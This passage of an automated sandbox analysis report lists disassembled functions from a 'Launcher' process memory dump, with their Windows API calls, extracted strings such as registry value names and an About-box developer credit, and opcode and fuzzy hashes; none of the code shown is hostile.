#861.MFC42U(?), ref: 00B67EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00B67EEE

Strings

ToolboxBitmap32, xrefs: 00B67E8F
ToolboxBitmap, xrefs: 00B67EB2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 3868f409ce7773b2395ed4b3c040d74a7b817f95a4f2a455684007299590d0b6
Instruction ID: c5a3db1fcd52cd3d980377755bad79df255f0463cbf8d5b487898b22ac820b87
Opcode Fuzzy Hash: 3868f409ce7773b2395ed4b3c040d74a7b817f95a4f2a455684007299590d0b6
Instruction Fuzzy Hash: 3E01DB7598011D9BCB60DB10CC99BE977B8FB24306F1001E5E51EA61A1DF759E88CF50

Function 00B67DF6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00B67E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00B67EBD
#861.MFC42U(?), ref: 00B67EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00B67EEE

Strings

ToolboxBitmap32, xrefs: 00B67E8F
ToolboxBitmap, xrefs: 00B67EB2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 3418be5e19a01b81e486b529a5bab7366b0c76d93764c6f196ac4ea200460789
Instruction ID: c5a3db1fcd52cd3d980377755bad79df255f0463cbf8d5b487898b22ac820b87
Opcode Fuzzy Hash: 3418be5e19a01b81e486b529a5bab7366b0c76d93764c6f196ac4ea200460789
Instruction Fuzzy Hash: 3E01DB7598011D9BCB60DB10CC99BE977B8FB24306F1001E5E51EA61A1DF759E88CF50

Function 00B67D42 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00B67E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00B67EBD
#861.MFC42U(?), ref: 00B67EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00B67EEE

Strings

ToolboxBitmap32, xrefs: 00B67E8F
ToolboxBitmap, xrefs: 00B67EB2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: f4a83b82378129911cc4c63d9e5c0839f18214dd3e246568d1d6344eba925989
Instruction ID: c5a3db1fcd52cd3d980377755bad79df255f0463cbf8d5b487898b22ac820b87
Opcode Fuzzy Hash: f4a83b82378129911cc4c63d9e5c0839f18214dd3e246568d1d6344eba925989
Instruction Fuzzy Hash: 3E01DB7598011D9BCB60DB10CC99BE977B8FB24306F1001E5E51EA61A1DF759E88CF50

Function 00B5C800 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B5C80D
SendMessageW.USER32(?,00001061,00000000,?), ref: 00B5C838
SendMessageW.USER32(?,00001061,00000001,?), ref: 00B5C85C

Strings

User/Group, xrefs: 00B5C823
Can Access, xrefs: 00B5C84E
j, xrefs: 00B5C855

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#4704
String ID: Can Access$User/Group$j
API String ID: 2927661609-2049629346
Opcode ID: c73d713b25928eb7cecd14162c5b0179852178c23aa3c8b96e665aae65737327
Instruction ID: 89f74f649acacd4a5931e1e51b19ea87728aca46d2efe12e1391bd7ceeed7060
Opcode Fuzzy Hash: c73d713b25928eb7cecd14162c5b0179852178c23aa3c8b96e665aae65737327
Instruction Fuzzy Hash: 15F0627590030CAFEB109F95CC49FEFBBF9EB86715F10041AE90176240D7B699488BA1

Function 00B5C962 Relevance: 10.5, APIs: 7, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5C969
#324.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C97A
#567.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C991
#567.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9AB
#540.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9C2
#540.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9D1
#861.MFC42U(00B521A0), ref: 00B5C9E8

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #540#567$#324#861H_prolog3
String ID:
API String ID: 4024192314-0
Opcode ID: 41adf6a1368673e9c74173c6f304cbbf854b10aca0718786a4e6c664646540fe
Instruction ID: c5ea47b9f456d089a37345a37fb8d8ecef9282b720db685b078655d8ebafa83f
Opcode Fuzzy Hash: 41adf6a1368673e9c74173c6f304cbbf854b10aca0718786a4e6c664646540fe
Instruction Fuzzy Hash: 38017171A11657DBEB15EB6089123ADBAE07F55701F5040CDE56427382CBB81B089BD6

Function 00B693AF Relevance: 10.5, APIs: 7, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B693B6
#540.MFC42U(00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B693C9
#540.MFC42U(00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B693D5
#540.MFC42U(00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B693E1
#858.MFC42U(?,00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B693F0
#858.MFC42U(?,?,00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B693FB
#858.MFC42U(?,?,?,00000004,00B699BF,?,?,?,00000000,00000000), ref: 00B69406

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #540#858$H_prolog3
String ID:
API String ID: 3210275551-0
Opcode ID: 3cf7f3fc9bbd1fbec5456da232b437cfd17f58bbdcfe00627983c8a8e19a50b0
Instruction ID: 3e66ec66f980f9f336ad350bc5405b9d1870ec3e0898b28929db363869727646
Opcode Fuzzy Hash: 3cf7f3fc9bbd1fbec5456da232b437cfd17f58bbdcfe00627983c8a8e19a50b0
Instruction Fuzzy Hash: 85F06231A00606DFCF14EF50C551B9EB7E0BF24708F0084DDB4AA1B252DBBAAA08DB51

Function 00B69419 Relevance: 10.5, APIs: 7, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B69420
#540.MFC42U(00000004,00B6B222,?,?,TypeLib,?), ref: 00B69433
#540.MFC42U(00000004,00B6B222,?,?,TypeLib,?), ref: 00B6943F
#540.MFC42U(00000004,00B6B222,?,?,TypeLib,?), ref: 00B6944B
#858.MFC42U(?,00000004,00B6B222,?,?,TypeLib,?), ref: 00B6945A
#861.MFC42U(00B521A0,?,00000004,00B6B222,?,?,TypeLib,?), ref: 00B69467
#858.MFC42U(?,00B521A0,?,00000004,00B6B222,?,?,TypeLib,?), ref: 00B69472

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #540$#858$#861H_prolog3
String ID:
API String ID: 117671327-0
Opcode ID: 6006091ef1e032c441fbe2ca3a7ae944362472c50a8e5255ca908c4eb6a8f3f5
Instruction ID: 337a85c93ced13c858628105dd7623fd9ea25fa0a8c96131823d7e4ee074e36a
Opcode Fuzzy Hash: 6006091ef1e032c441fbe2ca3a7ae944362472c50a8e5255ca908c4eb6a8f3f5
Instruction Fuzzy Hash: 19F01D71A00605DBDF14EF50C951BAEB7E0BF24715F0084DDB4AA1B292DBB9AA08DB51

Function 00B62AC0 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00B62B02
#5596.MFC42U ref: 00B62B2D
#5596.MFC42U ref: 00B62B45
#861.MFC42U(00B521A0,00000000,0000000D), ref: 00B62BB6
#6325.MFC42U(00000000,00000004,00000000,00B521A0,00000000,0000000D), ref: 00B62BC4
#2644.MFC42U ref: 00B62C14

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #5596$#1662#2644#6325#861
String ID:
API String ID: 4171677465-0
Opcode ID: 3e0d4f761c161435fb6f0b6acc789bb8712e4ec2a4ac0472e11ebe277a046e25
Instruction ID: e304dc4add16066065ffb840161a282c628eaf2890da675bce1310c677b86da7
Opcode Fuzzy Hash: 3e0d4f761c161435fb6f0b6acc789bb8712e4ec2a4ac0472e11ebe277a046e25
Instruction Fuzzy Hash: C441EE34A01108EFDB04EFA4C996BADB7F1AF84705F1040E8E516AB3A2CF74AE44DB51

Function 00B68F95 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00B68FAE
#5596.MFC42U ref: 00B68FD9
#5596.MFC42U ref: 00B68FF1
#861.MFC42U(00B521A0), ref: 00B69062
#6325.MFC42U(00000000,00000004,00000000,00B521A0), ref: 00B69070
#2644.MFC42U ref: 00B690C0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #5596$#1662#2644#6325#861
String ID:
API String ID: 4171677465-0
Opcode ID: 9ad6c55bb08afd635b9b6339e17c988a30ece1bb50521154a003bee457e886a0
Instruction ID: 3c016d9129a0805899638b9f3b0d444aa0ff7d12c04b30e9b7a7c75e7b6b89d2
Opcode Fuzzy Hash: 9ad6c55bb08afd635b9b6339e17c988a30ece1bb50521154a003bee457e886a0
Instruction Fuzzy Hash: 0131EE34A01108EFCB04EBA4C956BADB7F2AF85705F1040E4F916AB3A2CF74AE40DB51

Function 00B5E583 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

#6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E5BE
#6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E5E8
#6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E60B
#6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E62E
#6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E651
RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E669

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6211$RedrawWindow
String ID:
API String ID: 4151937776-0
Opcode ID: ea75023e02450b01f611461206bb99fa3aadf06a4cb6028333cc7918003abd10
Instruction ID: 2c955278033c1c91e9a84672fc463f84d6f4729e9bc627594219b8bf155bdb95
Opcode Fuzzy Hash: ea75023e02450b01f611461206bb99fa3aadf06a4cb6028333cc7918003abd10
Instruction Fuzzy Hash: 3B216230010606BACF395E25DC09EE77BF9EBA2766F018099F87A141609771DB49DF60

Function 00B6CD41 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00B6CD5F
free.MSVCRT ref: 00B6CD71
free.MSVCRT ref: 00B6CD83
free.MSVCRT ref: 00B6CD95
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,00B6CE02,00000000,00000000,00000000), ref: 00B6CDB7
GetLastError.KERNEL32(00000000), ref: 00B6CDC2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: free$DescriptorErrorInitializeLastSecurity
String ID:
API String ID: 1417453991-0
Opcode ID: 70a9372efdcd89709076ebedb06a9610700594a815a3e0ef4e0fe442b4c7b970
Instruction ID: 8aa9cda6c34ce1fef10f0e9e1e1acc1800f7ab901e08b8bc5ad2dc91c3fb71e8
Opcode Fuzzy Hash: 70a9372efdcd89709076ebedb06a9610700594a815a3e0ef4e0fe442b4c7b970
Instruction Fuzzy Hash: B9118836904702DFCB304F69E884962BFE1FF44322322987EF1EA96560CB399880CB40

Function 00B5D944 Relevance: 9.1, APIs: 6, Instructions: 64stringregistrywindowCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(?,?,?,?), ref: 00B5D979
lstrlenW.KERNEL32(?), ref: 00B5D98A
lstrcpyW.KERNEL32(?,?), ref: 00B5D9C1
wcsrchr.MSVCRT ref: 00B5D9CF
#1165.MFC42U ref: 00B5D9E0
ExtractIconW.SHELL32(?,?,00000000), ref: 00B5D9F2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1165ExtractIconQueryValuelstrcpylstrlenwcsrchr
String ID:
API String ID: 2919050075-0
Opcode ID: 7dd199aaff6e75ee3866d3401236d30717d24844701de9088e94dcf7d11a5e8a
Instruction ID: 49e6b1090d0cc5ce274e5135c858005462aa4e90934183b82f394e51a2ff2393
Opcode Fuzzy Hash: 7dd199aaff6e75ee3866d3401236d30717d24844701de9088e94dcf7d11a5e8a
Instruction Fuzzy Hash: C4215CB6900219ABCB24EB64DC49BDA77F8EF48311F1086D9E919D7191DB709A88CB60

Function 00B5F150 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B5F167
#3087.MFC42U(00001FA5,00000000), ref: 00B5F17D
#2634.MFC42U(00001FA5,00000000), ref: 00B5F184
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B5F192
#3087.MFC42U(0000009C,00000000), ref: 00B5F1A8
#2634.MFC42U(0000009C,00000000), ref: 00B5F1AF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634#3087MessageSend
String ID:
API String ID: 496076185-0
Opcode ID: daa3536740b9a62e87106cd317271ff38aa0fbc7549cb98ebcdfe2f2f529aae7
Instruction ID: 7e559b6d3553a80d6cb40097155dfb4a84a54426def1541990818554f28ab358
Opcode Fuzzy Hash: daa3536740b9a62e87106cd317271ff38aa0fbc7549cb98ebcdfe2f2f529aae7
Instruction Fuzzy Hash: 3FF08CB67102502BEB292B719C9AE2F299DDBC5BA1F41042DF21ADA1A1DF798D408225

Function 00B5C4B6 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5C4BD
#324.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C4CE
#567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C4E5
#567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C500
#567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C516
#567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C52C

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567$#324H_prolog3
String ID:
API String ID: 3217428371-0
Opcode ID: c1cb077ca0ff3c8489cc2859db7db8d04ebf615723f75a3b105b535bc1385352
Instruction ID: b50741897349c11b0689b04162ae1319f3789fe6eeb87d7c335a24def21c77a1
Opcode Fuzzy Hash: c1cb077ca0ff3c8489cc2859db7db8d04ebf615723f75a3b105b535bc1385352
Instruction Fuzzy Hash: 84015276A11217DBEB019F9489013DCFAE0BF46700F50408EE99037381CBB85B05DBD6

Function 00B60A74 Relevance: 9.0, APIs: 6, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

#693.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A85
#609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A90
#609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A9B
#609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60AA6
#609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60AAE

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #609$#693
String ID:
API String ID: 2192965535-0
Opcode ID: ebda58868ceaf037c12a3833d9e88055663878968f8368d305a0277949f146b2
Instruction ID: e99d71654081bae70be3618b695cda370d7d4d818d7522f534fe0bc83f019df7
Opcode Fuzzy Hash: ebda58868ceaf037c12a3833d9e88055663878968f8368d305a0277949f146b2
Instruction Fuzzy Hash: 70E04F39010612CBC276FB30C4515E9F7E1BF10341F4005BDA07B03261AF346B89CB44

Function 00B5B300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

#1143.MFC42U(00000093,0000000E,00000093), ref: 00B5B31D
LoadIconW.USER32(00000000,00000093), ref: 00B5B323
#1165.MFC42U ref: 00B5B32B

Part of subcall function 00B5B421: #1172.MFC42U(?,00B5B338), ref: 00B5B424

ShellAboutW.SHELL32(?,?,Developed By Charlie KindelMichael Nelson, and Michael Antonio,00000000), ref: 00B5B34B

Strings

Developed By Charlie KindelMichael Nelson, and Michael Antonio, xrefs: 00B5B344

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1143#1165#1172AboutIconLoadShell
String ID: Developed By Charlie KindelMichael Nelson, and Michael Antonio
API String ID: 29937196-3714244911
Opcode ID: 38fc917df39b6b243bb0ab1a1d77afce9ead49a2ae89f64e06da52e14984409c
Instruction ID: 9c03b093b4d905e1a35087bcee337f19114f9387fbad1976803455bbdfd90111
Opcode Fuzzy Hash: 38fc917df39b6b243bb0ab1a1d77afce9ead49a2ae89f64e06da52e14984409c
Instruction Fuzzy Hash: E4E08631B0125077D6383336EC0EF5B1A9CCF81762F1108F9B806F3292DB68CC454560

Function 00B6DCEB Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00B6DD1D
wsprintfW.USER32 ref: 00B6DD47

Strings

range: %s ($%08lX), xrefs: 00B6DD12
%s ($%08lX), xrefs: 00B6DD00
severity: %s, facility: %s ($%08lX), xrefs: 00B6DD41

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: wsprintf
String ID: %s ($%08lX)$range: %s ($%08lX)$severity: %s, facility: %s ($%08lX)
API String ID: 2111968516-3060768123
Opcode ID: 30efcc7c4981be6f2d9fe9f0f7ba84f6aa3412271e554932a89c798fb9f9b045
Instruction ID: d0f51be3e19439dc8ad466c070fddf421ea49629b3c83c2cdd8b7d812c058a89
Opcode Fuzzy Hash: 30efcc7c4981be6f2d9fe9f0f7ba84f6aa3412271e554932a89c798fb9f9b045
Instruction Fuzzy Hash: 36F08C32F46234B6960137585C06DBB7ADCDE02B5278940F1FE19F7262CF589E11A2FA

Function 00B5B310 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27windowCOMMON

Download Yara Rule

APIs

#1143.MFC42U(00000093,0000000E,00000093), ref: 00B5B31D
LoadIconW.USER32(00000000,00000093), ref: 00B5B323
#1165.MFC42U ref: 00B5B32B

Part of subcall function 00B5B421: #1172.MFC42U(?,00B5B338), ref: 00B5B424

ShellAboutW.SHELL32(?,?,Developed By Charlie KindelMichael Nelson, and Michael Antonio,00000000), ref: 00B5B34B

Strings

Developed By Charlie KindelMichael Nelson, and Michael Antonio, xrefs: 00B5B344

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1143#1165#1172AboutIconLoadShell
String ID: Developed By Charlie KindelMichael Nelson, and Michael Antonio
API String ID: 29937196-3714244911
Opcode ID: 8ae980f6e7ef23197ed48f4c3a1bbfdaccef2cb7b1d205101b2569487474904c
Instruction ID: 06b234a975a39a09d7db70ef309ef2a4e3cb9c72dbf6ce14caf065ebf77cbf9d
Opcode Fuzzy Hash: 8ae980f6e7ef23197ed48f4c3a1bbfdaccef2cb7b1d205101b2569487474904c
Instruction Fuzzy Hash: 61E04F717002506BD7283775ED0EF6B2AACDB81762B0204E9B806E7192DB64CC458660

Function 00B6DB15 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(OLE32.DLL,?,00B5E204,?,?,?), ref: 00B6DB2B
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 00B6DB3D
FreeLibrary.KERNEL32(00000000,?,00B5E204,?,?,?), ref: 00B6DB52

Strings

OLE32.DLL, xrefs: 00B6DB26
CoInitializeEx, xrefs: 00B6DB37

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
